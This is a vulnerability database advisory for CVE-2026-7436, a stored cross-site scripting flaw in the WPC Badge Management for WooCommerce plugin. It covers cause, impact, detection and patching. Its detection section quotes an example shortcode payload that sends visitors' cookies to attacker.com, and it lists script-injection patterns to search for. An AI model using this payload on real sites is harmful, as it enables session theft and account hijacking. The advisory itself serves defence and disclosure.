
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-7436 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Badge Management for WooCommerce plugin for WordPress, developed by WPClever. The flaw exists in all versions up to and including 3.1.6, where the text attribute of the wpcbm_best_seller shortcode is insufficiently sanitized and escaped. It was published on July 29, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerability resides in includes/class-shortcode.php at line 141, where user-supplied input to the text attribute of the wpcbm_best_seller shortcode is rendered without adequate sanitization or output escaping. An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload in the shortcode attribute, which is then stored in the database and executed in the browsers of any user who visits the affected page — requiring no further user interaction beyond page access (GitHub Advisory, WordPress Trac).
Successful exploitation allows authenticated attackers to inject persistent malicious scripts that execute in the browsers of all users visiting the compromised page, including administrators. This can result in session token theft, unauthorized actions performed on behalf of victims, content defacement, phishing redirects, and potential privilege escalation if an administrator's session is hijacked. Confidentiality and integrity are both partially impacted, while availability is unaffected (Wordfence, GitHub Advisory).
wpcbm_best_seller shortcode with a crafted text attribute containing a JavaScript payload, e.g., [wpcbm_best_seller text="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp-admin/post.php or REST API endpoints containing wpcbm_best_seller shortcode with suspicious text attribute values including <script>, javascript:, or encoded variants.wp_posts or wp_postmeta tables within wpcbm_best_seller shortcode text attributes.wpcbm_best_seller shortcode, potentially indicating cookie exfiltration or redirect activity.includes/class-shortcode.php in the plugin directory for unauthorized modifications.Update the WPC Badge Management for WooCommerce plugin to a version later than 3.1.6, which includes the fix applied in the trunk changeset. As an interim measure, restrict shortcode usage to administrator-only roles if your deployment allows it, and audit existing content created by Contributor-level and above users for injected scripts — particularly posts using the wpcbm_best_seller shortcode. The patch can be reviewed in the official WordPress plugin repository changeset (WordPress Trac Changeset, WordPress Plugin Page).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."